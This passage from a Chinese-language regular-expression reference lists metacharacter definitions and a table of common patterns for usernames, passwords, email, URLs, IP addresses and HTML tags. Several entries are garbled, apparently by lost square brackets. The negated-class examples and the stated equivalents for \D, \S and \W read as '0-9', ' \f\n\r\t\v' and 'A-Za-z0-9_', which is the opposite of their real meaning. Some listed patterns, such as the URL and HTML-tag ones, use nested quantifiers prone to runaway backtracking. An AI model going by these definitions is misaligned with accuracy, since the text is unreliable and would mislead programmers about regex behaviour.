    [^xyz]负值字符集合。匹配未包含的任意字符。例如,“abc”可以匹配“plain”中的“p”。
    [a-z]字符范围。匹配指定范围内的任意字符。例如,“[a-z]”可以匹配“a”到“z”范围内的任意小写字母字符。
    [^a-z]负值字符范围。匹配任何不在指定范围内的任意字符。例如,“a-z”可以匹配任何不在“a”到“z”范围内的任意字符。
    \b匹配一个单词边界,也就是指单词和空格间的位置。例如,“er\b”可以匹配“never”中的“er”,但不能匹配“verb”中的“er”。
    \B匹配非单词边界。“er\B”能匹配“verb”中的“er”,但不能匹配“never”中的“er”。
    \cx匹配由x指明的控制字符。例如,\cM匹配一个Control-M或回车符。x的值必须为A-Z或a-z之一。否则,将c视为一个原义的“c”字符。
    \d匹配一个数字字符。等价于[0-9]。
    \D匹配一个非数字字符。等价于0-9
    \f匹配一个换页符。等价于\x0c和\cL。
    \n匹配一个换行符。等价于\x0a和\cJ。
    \r匹配一个回车符。等价于\x0d和\cM。
    \s匹配任何空白字符,包括空格、制表符、换页符等等。等价于[ \f\n\r\t\v]。
    \S匹配任何非空白字符。等价于 \f\n\r\t\v
    \t匹配一个制表符。等价于\x09和\cI。
    \v匹配一个垂直制表符。等价于\x0b和\cK。
    \w匹配包括下划线的任何单词字符。等价于“[A-Za-z0-9_]”。
    \W匹配任何非单词字符。等价于“A-Za-z0-9_”。
    \xn匹配n,其中n为十六进制转义值。十六进制转义值必须为确定的两个数字长。例如,“\x41”匹配“A”。“\x041”则等价于“\x04&1”。正则表达式中可以使用ASCII编码。
    \num匹配num,其中num是一个正整数。对所获取的匹配的引用。例如,“(.)\1”匹配两个连续的相同字符。
    \n标识一个八进制转义值或一个向后引用。如果\n之前至少n个获取的子表达式,则n为向后引用。否则,如果n为八进制数字(0-7),则n为一个八进制转义值。
    \nm标识一个八进制转义值或一个向后引用。如果\nm之前至少有nm个获得子表达式,则nm为向后引用。如果\nm之前至少有n个获取,则n为一个后跟文字m的向后引用。如果前面的条件都不满足,若n和m均为八进制数字(0-7),则\nm将匹配八进制转义值nm。
    \nml如果n为八进制数字(0-3),且m和l均为八进制数字(0-7),则匹配八进制转义值nml。
    \un匹配n,其中n是一个用四个十六进制数字表示的Unicode字符。例如,\u00A9匹配版权符号(©)。

    常用正则表达式

    名称正则表达式
    用户名/^[a-z0-9_-]{3,16}$/
    密码/^[a-z0-9_-]{6,18}$/
    十六进制值/^#?([a-f0-9]{6}|[a-f0-9]{3})$/
    电子邮箱/^([a-z0-9_\.-]+)@([\da-z\.-]+)\.([a-z\.]{2,6})$/
    电子邮箱(备选)/^[a-z\d]+(\.[a-z\d]+)*@([\da-z](-[\da-z])?)+(\.{1,2}[a-z]+)+$/
    URL/^(https?:\/\/)?([\da-z\.-]+)\.([a-z\.]{2,6})([\/\w \.-]*)*\/?$/
    IP 地址/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)/
    IP 地址(精确)/^(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$/
    HTML 标签/^<([a-z]+)([^<]+)*(?:>(.*)<\/\1>|\s+\/>)$/
    删除代码注释(?<!http:|\S)//.*$
    Unicode编码中的汉字范围/^[\u2E80-\u9FFF]+$/